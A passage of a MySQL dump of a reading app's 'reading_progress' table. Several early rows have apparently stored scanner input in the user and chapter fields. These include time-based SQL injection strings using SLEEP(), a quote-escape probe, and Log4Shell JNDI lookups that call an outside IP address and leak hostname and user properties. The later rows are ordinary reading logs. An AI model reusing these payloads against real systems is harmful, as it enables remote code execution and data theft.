`reading_progress` VALUES (195, ' AND (SELECT*FROM(SELECT(SLEEP(3)))pduy) limit 1#', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:55:22', '2026-02-12 09:55:22', '2026-02-12 09:55:22', '2026-02-12 09:55:22'); -INSERT INTO `reading_progress` VALUES (196, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', '1.1) AND (SELECT*FRO', 0, 9, 'reading', NULL, '2026-02-12 09:55:22', '2026-02-12 09:55:22', '2026-02-12 09:55:22', '2026-02-12 09:55:22'); -INSERT INTO `reading_progress` VALUES (197, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', ') AND (SELECT*FROM(S', 0, 9, 'reading', NULL, '2026-02-12 09:55:22', '2026-02-12 09:55:22', '2026-02-12 09:55:22', '2026-02-12 09:55:22'); -INSERT INTO `reading_progress` VALUES (201, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', '1.1)) AND (SELECT*FR', 0, 9, 'reading', NULL, '2026-02-12 09:55:23', '2026-02-12 09:55:23', '2026-02-12 09:55:23', '2026-02-12 09:55:23'); -INSERT INTO `reading_progress` VALUES (202, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', ')) AND (SELECT*FROM(', 0, 9, 'reading', NULL, '2026-02-12 09:55:24', '2026-02-12 09:55:24', '2026-02-12 09:55:24', '2026-02-12 09:55:24'); -INSERT INTO `reading_progress` VALUES (207, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', '${jndi:rmi://183.47.', 0, 9, 'reading', NULL, '2026-02-12 09:55:25', '2026-02-12 09:55:25', '2026-02-12 09:55:25', '2026-02-12 09:55:25'); -INSERT INTO `reading_progress` VALUES (208, '${jndi:rmi://183.47.120.213:1099/bypass8575e7a4aa0', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:55:26', '2026-02-12 09:55:26', '2026-02-12 09:55:26', '2026-02-12 09:55:26'); -INSERT INTO `reading_progress` VALUES (209, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', '${jndi:ldap://183.47', 0, 9, 'reading', NULL, '2026-02-12 09:55:26', '2026-02-12 09:55:26', '2026-02-12 09:55:26', '2026-02-12 09:55:26'); -INSERT INTO `reading_progress` VALUES (210, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', '${jndi:ldap://hostna', 0, 9, 'reading', NULL, '2026-02-12 09:55:28', '2026-02-12 09:55:28', '2026-02-12 09:55:28', '2026-02-12 09:55:28'); -INSERT INTO `reading_progress` VALUES (211, '${jndi:ldap://hostname-${hostName}.username-${sys:', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:55:28', '2026-02-12 09:55:28', '2026-02-12 09:55:28', '2026-02-12 09:55:28'); -INSERT INTO `reading_progress` VALUES (212, '${jndi:ldap://183.47.120.213:1389/jdk185a1562f7553', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:55:28', '2026-02-12 09:55:28', '2026-02-12 09:55:28', '2026-02-12 09:55:28'); -INSERT INTO `reading_progress` VALUES (213, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', '${jndi:rmi://hostnam', 0, 9, 'reading', NULL, '2026-02-12 09:55:28', '2026-02-12 09:55:28', '2026-02-12 09:55:28', '2026-02-12 09:55:28'); -INSERT INTO `reading_progress` VALUES (214, '${jndi:rmi://hostname-${hostName}.username-${sys:u', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:55:29', '2026-02-12 09:55:29', '2026-02-12 09:55:29', '2026-02-12 09:55:29'); -INSERT INTO `reading_progress` VALUES (215, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', 'aaaa\'%bf%27', 0, 27, 'reading', NULL, '2026-02-12 09:55:30', '2026-02-12 09:59:50', '2026-02-12 09:55:30', '2026-02-12 09:59:50'); -INSERT INTO `reading_progress` VALUES (222, 'aaaa\'%bf%27', '1.1', 0, 27, 'reading', NULL, '2026-02-12 09:55:31', '2026-02-12 09:59:52', '2026-02-12 09:55:31', '2026-02-12 09:59:52'); -INSERT INTO `reading_progress` VALUES (257, '\") OR (SELECT*FROM(SELECT(SLEEP(2)))rgtx) limit 1#', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:56:36', '2026-02-12 09:56:36', '2026-02-12 09:56:36', '2026-02-12 09:56:36'); -INSERT INTO `reading_progress` VALUES (261, '\")) OR (SELECT*FROM(SELECT(SLEEP(3)))dzfm) limit 1', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:56:39', '2026-02-12 09:56:39', '2026-02-12 09:56:39', '2026-02-12 09:56:39'); -INSERT INTO `reading_progress` VALUES (265, '\" OR (SELECT*FROM(SELECT(SLEEP(3)))acjt) limit 1#', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:56:41', '2026-02-12 09:56:41', '2026-02-12 09:56:41', '2026-02-12 09:56:41'); -INSERT INTO `reading_progress` VALUES (269, '\')) OR (SELECT*FROM(SELECT(SLEEP(3)))mzap) limit 1', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:56:43', '2026-02-12 09:56:43', '2026-02-12 09:56:43', '2026-02-12 09:56:43'); -INSERT INTO `reading_progress` VALUES (273, '\' OR (SELECT*FROM(SELECT(SLEEP(3)))gkfv) limit 1#', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:56:46', '2026-02-12 09:56:46', '2026-02-12 09:56:46', '2026-02-12 09:56:46'); -INSERT INTO `reading_progress` VALUES (277, '\') OR (SELECT*FROM(SELECT(SLEEP(3)))pixq) limit 1#', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:56:48', '2026-02-12 09:56:48', '2026-02-12 09:56:48', '2026-02-12 09:56:48'); -INSERT INTO `reading_progress` VALUES (287, '\")) AND (SELECT*FROM(SELECT(SLEEP(3)))jnlg) limit ', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:56:59', '2026-02-12 09:56:59', '2026-02-12 09:56:59', '2026-02-12 09:56:59'); -INSERT INTO `reading_progress` VALUES (295, '\" AND (SELECT*FROM(SELECT(SLEEP(3)))zsef) limit 1#', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:57:05', '2026-02-12 09:57:05', '2026-02-12 09:57:05', '2026-02-12 09:57:05'); -INSERT INTO `reading_progress` VALUES (299, '\')) AND (SELECT*FROM(SELECT(SLEEP(3)))jyge) limit ', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:57:08', '2026-02-12 09:57:08', '2026-02-12 09:57:08', '2026-02-12 09:57:08'); -INSERT INTO `reading_progress` VALUES (303, '\") AND (SELECT*FROM(SELECT(SLEEP(4)))glvq) limit 1', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:57:10', '2026-02-12 09:57:10', '2026-02-12 09:57:10', '2026-02-12 09:57:10'); -INSERT INTO `reading_progress` VALUES (307, '\' AND (SELECT*FROM(SELECT(SLEEP(4)))dwtb) limit 1#', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:57:13', '2026-02-12 09:57:13', '2026-02-12 09:57:13', '2026-02-12 09:57:13'); -INSERT INTO `reading_progress` VALUES (311, '\') AND (SELECT*FROM(SELECT(SLEEP(4)))gbrl) limit 1', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:57:15', '2026-02-12 09:57:15', '2026-02-12 09:57:15', '2026-02-12 09:57:15'); -INSERT INTO `reading_progress` VALUES (315, ' AND (SELECT*FROM(SELECT(SLEEP(4)))gzed) limit 1#', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:57:17', '2026-02-12 09:57:17', '2026-02-12 09:57:17', '2026-02-12 09:57:17'); -INSERT INTO `reading_progress` VALUES (321, '${jndi:rmi://183.47.120.213:1099/bypass97817c8aa7c', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:57:23', '2026-02-12 09:57:23', '2026-02-12 09:57:23', '2026-02-12 09:57:23'); -INSERT INTO `reading_progress` VALUES (323, '${jndi:ldap://183.47.120.213:1389/jdk1835df4e7954f', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:57:24', '2026-02-12 09:57:24', '2026-02-12 09:57:24', '2026-02-12 09:57:24'); -INSERT INTO `reading_progress` VALUES (387, '\") OR (SELECT*FROM(SELECT(SLEEP(3)))grxe) limit 1#', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:59:00', '2026-02-12 09:59:00', '2026-02-12 09:59:00', '2026-02-12 09:59:00'); -INSERT INTO `reading_progress` VALUES (393, '\")) OR (SELECT*FROM(SELECT(SLEEP(4)))adpq) limit 1', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:59:05', '2026-02-12 09:59:05', '2026-02-12 09:59:05', '2026-02-12 09:59:05'); -INSERT INTO `reading_progress` VALUES (397, '\" OR (SELECT*FROM(SELECT(SLEEP(3)))hwvm) limit 1#', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:59:08', '2026-02-12 09:59:08', '2026-02-12 09:59:08', '2026-02-12 09:59:08'); -INSERT INTO `reading_progress` VALUES (401, '\')) OR (SELECT*FROM(SELECT(SLEEP(2)))nsfl) limit 1', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:59:10', '2026-02-12 09:59:10', '2026-02-12 09:59:10', '2026-02-12 09:59:10'); -INSERT INTO `reading_progress` VALUES (405, '\' OR (SELECT*FROM(SELECT(SLEEP(2)))kioj) limit 1#', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:59:13', '2026-02-12 09:59:13', '2026-02-12 09:59:13', '2026-02-12 09:59:13'); -INSERT INTO `reading_progress` VALUES (409, '\') OR (SELECT*FROM(SELECT(SLEEP(3)))ptmv) limit 1#', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:59:15', '2026-02-12 09:59:15', '2026-02-12 09:59:15', '2026-02-12 09:59:15'); -INSERT INTO `reading_progress` VALUES (419, '\")) AND (SELECT*FROM(SELECT(SLEEP(4)))rlfe) limit ', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:59:22', '2026-02-12 09:59:22', '2026-02-12 09:59:22', '2026-02-12 09:59:22'); -INSERT INTO `reading_progress` VALUES (423, '\" AND (SELECT*FROM(SELECT(SLEEP(4)))qbif) limit 1#', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:59:25', '2026-02-12 09:59:25', '2026-02-12 09:59:25', '2026-02-12 09:59:25'); -INSERT INTO `reading_progress` VALUES (428, '\')) AND (SELECT*FROM(SELECT(SLEEP(4)))tfkk) limit ', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:59:28', '2026-02-12 09:59:28', '2026-02-12 09:59:28', '2026-02-12 09:59:28'); -INSERT INTO `reading_progress` VALUES (442, '\") AND (SELECT*FROM(SELECT(SLEEP(3)))kksi) limit 1', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:59:33', '2026-02-12 09:59:33', '2026-02-12 09:59:33', '2026-02-12 09:59:33'); -INSERT INTO `reading_progress` VALUES (447, '\' AND (SELECT*FROM(SELECT(SLEEP(2)))kmks) limit 1#', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:59:37', '2026-02-12 09:59:37', '2026-02-12 09:59:37', '2026-02-12 09:59:37'); -INSERT INTO `reading_progress` VALUES (451, '\') AND (SELECT*FROM(SELECT(SLEEP(3)))skfr) limit 1', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:59:39', '2026-02-12 09:59:39', '2026-02-12 09:59:39', '2026-02-12 09:59:39'); -INSERT INTO `reading_progress` VALUES (455, ' AND (SELECT*FROM(SELECT(SLEEP(3)))ilnv) limit 1#', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:59:42', '2026-02-12 09:59:42', '2026-02-12 09:59:42', '2026-02-12 09:59:42'); -INSERT INTO `reading_progress` VALUES (461, '${jndi:rmi://183.47.120.213:1099/bypass6aabccfb4ee', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:59:46', '2026-02-12 09:59:46', '2026-02-12 09:59:46', '2026-02-12 09:59:46'); -INSERT INTO `reading_progress` VALUES (463, '${jndi:ldap://183.47.120.213:1389/jdk1872f9cd58a0d', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:59:48', '2026-02-12 09:59:48', '2026-02-12 09:59:48', '2026-02-12 09:59:48'); -INSERT INTO `reading_progress` VALUES (480, 'ogpTW5ZtuvQ6ZHyCDvmZKSld8F7w', '1.2', 0, 4, 'reading', NULL, '2026-02-13 23:52:40', '2026-02-13 23:52:40', '2026-02-13 23:52:40', '2026-02-13 23:52:40'); -INSERT INTO `reading_progress` VALUES (481, 'ogpTW5eb1OnMqQ1n9013TgGOaLeM', '4.1', 0, 1068, 'reading', NULL, '2026-02-18 02:13:01', '2026-02-18 02:48:24', '2026-02-18 02:13:01', '2026-02-18 02:48:24'); -INSERT INTO `reading_progress` VALUES (482, 'ogpTW5eb1OnMqQ1n9013TgGOaLeM', '5.3', 0, 1059, 'reading', NULL, '2026-02-18 02:19:15', '2026-02-18 02:22:24', '2026-02-18 02:19:15', '2026-02-18 02:22:24'); -INSERT INTO `reading_progress` VALUES (483, 'ogpTW5eb1OnMqQ1n9013TgGOaLeM', '8.6', 0, 1335, 'reading', NULL, '2026-02-18 02:41:04', '2026-02-18 02:44:49', '2026-02-18 02:41:04', '2026-02-18 02:44:49'); -INSERT INTO `reading_progress` VALUES (484, 'ogpTW5eb1OnMqQ1n9013TgGOaLeM', 'epilogue', 0, 5, 'reading', NULL, '2026-02-18 02:52:20', '2026-02-18 02:52:20', '2026-02-18 02:52:20', '2026-02-18 02:52:20'); -INSERT INTO `reading_progress` VALUES (485, 'ogpTW5eb1OnMqQ1n9013TgGOaLeM', 'appendix-1', 0, 624, 'reading', NULL, '2026-02-18 02:54:29', '2026-02-18 02:56:53', '2026-02-18 02:54:29', '2026-02-18 02:56:53'); -INSERT INTO `reading_progress` VALUES (486, 'ogpTW5eb1OnMqQ1n9013TgGOaLeM', 'appendix-2', 0, 18, 'reading', NULL, '2026-02-18 02:57:16', '2026-02-18 02:57:16', '2026-02-18 02:57:16', '2026-02-18 02:57:16'); -INSERT INTO `reading_progress` VALUES (487, 'ogpTW5eb1OnMqQ1n9013TgGOaLeM', 'preface', 0, 6, 'reading', NULL, '2026-02-18 03:03:12', '2026-02-18 03:03:12', '2026-02-18 03:03:12', '2026-02-18 03:03:12'); -INSERT INTO `reading_progress` VALUES (488, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', '9.15', 0, 60, 'reading', NULL, '2026-02-18 22:07:17', '2026-03-08 20:33:37', '2026-02-18 22:07:17', '2026-03-08 20:33:37'); -INSERT INTO `reading_progress` VALUES (489, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'epilogue', 0, 193, 'reading', NULL, '2026-02-21 13:02:23', '2026-03-07 15:07:43', '2026-02-21 13:02:23', '2026-03-07 15:07:43'); -INSERT INTO `reading_progress` VALUES (490, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'appendix-2', 0, 13, 'reading', NULL, '2026-02-21 21:54:58', '2026-02-21 21:54:59', '2026-02-21 21:54:58', '2026-02-21 21:54:59'); -INSERT INTO `reading_progress` VALUES (491, 'ogpTW5Q8Tc-k5mRaq4GLleBhUc5w', 'preface', 0, 274, 'reading', NULL, '2026-02-23 01:48:42', '2026-02-23 01:49:46', '2026-02-23 01:48:42', '2026-02-23 01:49:46'); -INSERT INTO `reading_progress` VALUES (492, 'ogpTW5Q8Tc-k5mRaq4GLleBhUc5w', 'epilogue', 0, 4, 'reading', NULL, '2026-02-23 01:53:48', '2026-02-23 01:53:48', '2026-02-23 01:53:48', '2026-02-23 01:53:48'); -INSERT INTO `reading_progress` VALUES (493, 'ogpTW5QAI7gFWP_A-XMArEP6JACo', 'preface', 0, 14, 'reading', NULL, '2026-02-27 06:39:54', '2026-02-27 06:39:54', '2026-02-27 06:39:54', '2026-02-27 06:39:54'); -INSERT INTO `reading_progress` VALUES (494, 'ogpTW5QAI7gFWP_A-XMArEP6JACo', 'epilogue', 0, 14, 'reading', NULL, '2026-02-27 06:40:09', '2026-02-27 06:40:09', '2026-02-27 06:40:09', '2026-02-27 06:40:09'); -INSERT INTO `reading_progress` VALUES (495, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', '4.6', 0, 6922, 'reading', NULL, '2026-02-27 08:57:23', '2026-03-03 11:18:31', '2026-02-27 08:57:23', '2026-03-03 11:18:31'); -INSERT INTO `reading_progress` VALUES (496, 'ogpTW5dyhaEK1KPQY0MAuo9ejCxc', 'preface', 0, 13, 'reading', NULL, '2026-02-28 02:15:25', '2026-02-28 02:15:25', '2026-02-28 02:15:25', '2026-02-28 02:15:25'); -INSERT INTO `reading_progress` VALUES (497, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', '11.5', 0, 12, 'reading', NULL, '2026-02-28 06:36:24', '2026-03-10 06:54:48', '2026-02-28 06:36:24', '2026-03-10 06:54:48'); -INSERT INTO `reading_progress` VALUES (498, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', '11.3', 0, 7, 'reading', NULL, '2026-02-28 08:10:52', '2026-02-28 08:10:52', '2026-02-28 08:10:52', '2026-02-28 08:10:52'); -INSERT INTO `reading_progress` VALUES (499, 'ogpTW5exPA4gpOu-jJyHRnG9qVD0', 'epilogue', 0, 605, 'reading', NULL, '2026-03-02 00:05:58', '2026-03-02 00:08:03', '2026-03-02 00:05:58', '2026-03-02 00:08:03'); -INSERT INTO `reading_progress` VALUES (500, 'ogpTW5exPA4gpOu-jJyHRnG9qVD0', 'appendix-3', 0, 274, 'reading', NULL, '2026-03-02 00:08:38', '2026-03-02 00:09:41', '2026-03-02 00:08:38', '2026-03-02 00:09:41'); -INSERT INTO `reading_progress` VALUES (501, 'ogpTW5V92gmbuNnr4dTXkOdbvQT0', '1.1', 0, 309, 'reading', NULL, '2026-03-02 01:14:42', '2026-03-02 01:19:35', '2026-03-02 01:14:42', '2026-03-02 01:19:35'); -INSERT INTO `reading_progress` VALUES (502, 'user_1769380781794', '1.1', 0, 1851, 'reading', NULL, '2026-03-02 02:46:55', '2026-03-02 03:10:50', '2026-03-02 02:46:55', '2026-03-02 03:10:50'); -INSERT INTO `reading_progress` VALUES (503, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', '9.24', 0, 5117, 'reading', NULL, '2026-03-02 03:43:30', '2026-03-07 16:35:55', '2026-03-02 03:43:30', '2026-03-07 16:35:55'); -INSERT INTO `reading_progress` VALUES (504, 'ogpTW5Y47x3Mr1_Y99XrBHw97zrk', '1.1', 0, 12, 'reading', NULL, '2026-03-02 06:34:25', '2026-03-02 06:34:25', '2026-03-02 06:34:25', '2026-03-02 06:34:25'); -INSERT INTO `reading_progress` VALUES (505, 'ogpTW5Qm4kjuZ289cv-QaDKHVAZ8', 'preface', 0, 2, 'reading', NULL, '2026-03-03 03:04:19', '2026-03-03 03:04:19', '2026-03-03 03:04:19', '2026-03-03 03:04:19'); -INSERT INTO `reading_progress` VALUES (506, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'appendix-3', 0, 4, 'reading', NULL, '2026-03-03 03:08:29', '2026-03-03 03:08:29', '2026-03-03 03:08:29', '2026-03-03 03:08:29'); -INSERT INTO `reading_progress` VALUES (507, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', '4.5', 0, 4, 'reading', NULL, '2026-03-03 03:08:46', '2026-03-03 03:08:46', '2026-03-03 03:08:46', '2026-03-03 03:08:46'); -INSERT INTO `reading_progress` VALUES (508, 'user_1768863702720', '1.1', 0, 2, 'reading', NULL, '2026-03-03 13:26:35', '2026-03-03 13:26:35', '2026-03-03 13:26:36', '2026-03-03 13:26:36'); -INSERT INTO `reading_progress` VALUES (509, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'appendix-1', 0, 8088, 'reading', NULL, '2026-03-04 06:25:07', '2026-03-07 16:12:26', '2026-03-04 06:25:07', '2026-03-07 16:12:26'); -INSERT INTO `reading_progress` VALUES (510, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'preface', 0, 3, 'reading', NULL, '2026-03-04 09:25:21', '2026-03-05 06:21:29', '2026-03-04 09:25:22', '2026-03-05 06:21:29'); -INSERT INTO `reading_progress` VALUES (511, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'epilogue', 0, 2, 'reading', NULL, '2026-03-04 11:05:47', '2026-03-05 09:55:55', '2026-03-04 11:05:47', '2026-03-05 09:55:55'); -INSERT INTO `reading_progress` VALUES (512, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', '1.4', 0, 8985, 'reading', NULL, '2026-03-05 06:39:26', '2026-03-10 10:30:03', '2026-03-05 06:39:26', '2026-03-10 10:30:03'); -INSERT INTO `reading_progress` VALUES (513, 'ogpTW5dW9Fd_igNkpN0-2-JQ_fYw', '1.2', 0, 61, 'reading', NULL, '2026-03-05 06:44:56', '2026-03-05 06:44:57', '2026-03-05 06:44:56', '2026-03-05 06:44:57'); -INSERT INTO `reading_progress` VALUES (514, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', '1.3', 0, 7, 'reading', NULL, '2026-03-05 09:39:08', '2026-03-05 09:39:11', '2026-03-05 09:39:08', '2026-03-05 09:39:11'); -INSERT INTO `reading_progress` VALUES (515, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'epilogue', 0, 1, 'reading', NULL, '2026-03-06 09:22:43', '2026-03-06 09:22:43', '2026-03-06 09:22:43', '2026-03-06 09:22:43'); -INSERT INTO `reading_progress` VALUES (516, 'ogpTW5cBt44nWhhdjdYvdtIG5a4E', 'epilogue', 0, 9, 'reading', NULL, '2026-03-06 23:22:14', '2026-03-06 23:22:14', '2026-03-06 23:22:14', '2026-03-06 23:22:14'); -INSERT INTO `reading_progress` VALUES (517, 'ogpTW5cRhoPR9kuKcIcp3sOcJHqI', 'epilogue', 0, 2, 'reading', NULL, '2026-03-07 01:11:18', '2026-03-07 01:11:18', '2026-03-07 01:11:18', '2026-03-07 01:11:18'); -INSERT INTO `reading_progress` VALUES (518, 'ogpTW5cRhoPR9kuKcIcp3sOcJHqI', 'preface', 0, 1, 'reading', NULL, '2026-03-07 01:11:48', '2026-03-07 01:11:48', '2026-03-07 01:11:48', '2026-03-07 01:11:48'); -INSERT INTO `reading_progress` VALUES (519, 'ogpTW5cRhoPR9kuKcIcp3sOcJHqI', '9.14', 0, 12, 'reading', NULL, '2026-03-07 01:12:36', '2026-03-07 01:12:36', '2026-03-07 01:12:36', '2026-03-07 01:12:36'); -INSERT INTO `reading_progress` VALUES (520, 'ogpTW5bJ-5SHYxtl3p0KiiZvaids', 'preface', 0, 63, 'reading', NULL, '2026-03-07 01:27:46', '2026-03-07 01:27:49', '2026-03-07 01:27:46', '2026-03-07 01:27:49'); -INSERT INTO `reading_progress` VALUES (521, 'ogpTW5Z_SdI82eULXgFNJl4sT1fk', '9.26', 0, 2, 'reading', NULL, '2026-03-07 01:56:27', '2026-03-07 01:56:27', '2026-03-07 01:56:27', '2026-03-07 01:56:27'); -INSERT INTO `reading_progress` VALUES (522, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', '9.15', 0, 3, 'reading', NULL, '2026-03-07 11:01:45', '2026-03-07 11:01:45', '2026-03-07 11:01:45', '2026-03-07 11:01:45'); -INSERT INTO `reading_progress` VALUES (523, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', '9.3', 0, 4, 'reading', NULL, '2026-03-07 11:01:49', '2026-03-07 11:01:49', '2026-03-07 11:01:49', '2026-03-07 11:01:49'); -INSERT INTO `reading_progress` VALUES (524, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', '9.25', 0, 4, 'reading', NULL, '2026-03-07 11:04:47', '2026-03-07 11:04:47', '2026-03-07 11:04:47', '2026-03-07 11:04:47'); -INSERT INTO `reading_progress` VALUES (525, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', '7.5', 0, 2, 'reading', NULL, '2026-03-07 11:04:57', '2026-03-07 11:04:57', '2026-03-07 11:04:57', '2026-03-07 11:04:57'); -INSERT INTO `reading_progress` VALUES (526, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', '6.2', 0, 5, 'reading', NULL, '2026-03-07 13:20:52', '2026-03-07 13:20:52', '2026-03-07 13:20:52', '2026-03-07 13:20:52'); -INSERT INTO `reading_progress` VALUES (527, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', '9.28', 0, 9527, 'reading', NULL, '2026-03-07 13:44:25', '2026-03-08 05:29:24', '2026-03-07 13:44:25', '2026-03-08 05:29:24'); -INSERT INTO `reading_progress` VALUES (528, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', '9.26', 0, 7100, 'reading', NULL, '2026-03-07 15:07:52', '2026-03-07 15:39:21', '2026-03-07 15:07:52', '2026-03-07 15:39:21'); -INSERT INTO `reading_progress` VALUES (529, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', '9.21', 0, 1652, 'reading', NULL, '2026-03-07 15:28:05', '2026-03-07 15:33:05', '2026-03-07 15:28:05', '2026-03-07 15:33:05'); -INSERT INTO `reading_progress` VALUES (530, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', '9.25', 0, 28369, 'reading', NULL, '2026-03-07 15:42:11', '2026-03-07 16:03:23', '2026-03-07 15:42:11', '2026-03-07 16:03:23'); -INSERT INTO `reading_progress` VALUES (531, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', '9.16', 0, 6, 'reading', NULL, '2026-03-07 16:08:51', '2026-03-08 05:28:42', '2026-03-07 16:08:51', '2026-03-08 05:28:42'); -INSERT INTO `reading_progress` VALUES (532, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', '9.27', 0, 111, 'reading', NULL, '2026-03-07 16:11:17', '2026-03-07 16:12:12', '2026-03-07 16:11:17', '2026-03-07 16:12:12'); -INSERT INTO `reading_progress` VALUES (533, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', '2.1', 0, 24, 'reading', NULL, '2026-03-07 16:25:46', '2026-03-10 10:27:06', '2026-03-07 16:25:46', '2026-03-10 10:27:06'); -INSERT INTO `reading_progress` VALUES (534, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', '9.25', 0, 2, 'reading', NULL, '2026-03-07 16:25:52', '2026-03-07 16:25:52', '2026-03-07 16:25:52', '2026-03-07 16:25:52'); -INSERT INTO `reading_progress` VALUES (535, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', '9.16', 0, 141606420, 'reading', NULL, '2026-03-08 03:52:44', '2026-03-09 05:28:44', '2026-03-08 03:52:44', '2026-03-09 05:28:44'); -INSERT INTO `reading_progress` VALUES (536, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', '9.27', 0, 2, 'reading', NULL, '2026-03-08 03:55:10', '2026-03-08 03:55:10', '2026-03-08 03:55:10', '2026-03-08 03:55:10'); -INSERT INTO `reading_progress` VALUES (537, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', '9.18', 0, 2, 'reading', NULL, '2026-03-08 03:55:15', '2026-03-08 03:55:15', '2026-03-08 03:55:15', '2026-03-08 03:55:15'); -INSERT INTO `reading_progress` VALUES (538, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', '9.18', 0, 2, 'reading', NULL, '2026-03-08 05:28:43', '2026-03-08 05:28:45', '2026-03-08 05:28:43', '2026-03-08 05:28:45'); -INSERT INTO `reading_progress` VALUES (539, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', '9.17', 0, 2, 'reading', NULL, '2026-03-08 05:28:46', '2026-03-08 05:28:48', '2026-03-08 05:28:46', '2026-03-08 05:28:48'); -INSERT INTO `reading_progress` VALUES (540, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', '9.20', 0, 15, 'reading', NULL, '2026-03-08 05:28:48', '2026-03-08 05:29:03', '2026-03-08 05:28:48', '2026-03-08 05:29:03'); -INSERT INTO `reading_progress` VALUES (541, 'ogpTW5YiTXYBuwQMe7Z3wFOv_Jy4', 'preface', 0, 1954, 'reading', NULL, '2026-03-08 23:55:05', '2026-03-09 00:00:08', '2026-03-08 23:55:05', '2026-03-09 00:00:08'); -INSERT INTO `reading_progress` VALUES (542, 'ogpTW5RIG4xk1naqzBqpiFtgPwaw', '10.01', 0, 601, 'reading', NULL, '2026-03-09 08:08:06', '2026-03-09 08:10:37', '2026-03-09 08:08:06', '2026-03-09 08:10:37'); -INSERT INTO `reading_progress` VALUES (543, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', '10.11', 0, 5096, 'reading', NULL, '2026-03-10 06:23:56', '2026-03-11 03:01:35', '2026-03-10 06:23:56', '2026-03-11 03:01:35'); -INSERT INTO `reading_progress` VALUES (544, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', '10.11', 0, 306, 'reading', NULL, '2026-03-10 07:02:20', '2026-03-10 11:14:48', '2026-03-10 07:02:20', '2026-03-10 11:14:48'); -INSERT INTO `reading_progress` VALUES (545, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', '1.4', 0, 12, 'reading', NULL, '2026-03-10 07:02:51', '2026-03-10 07:03:04', '2026-03-10 07:02:51', '2026-03-10 07:03:04'); -INSERT INTO `reading_progress` VALUES (546, 'ogpTW5cVMxd5afBBtXdvmeMO8aho', '10.11', 0, 4, 'reading', NULL, '2026-03-10 08:40:54', '2026-03-10 08:40:58', '2026-03-10 08:40:54', '2026-03-10 08:40:58'); -INSERT INTO `reading_progress` VALUES (547, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', '3.1', 0, 16681, 'reading', NULL, '2026-03-10 10:27:46', '2026-03-10 10:49:52', '2026-03-10 10:27:46', '2026-03-10 10:49:52'); -INSERT INTO `reading_progress` VALUES (548, 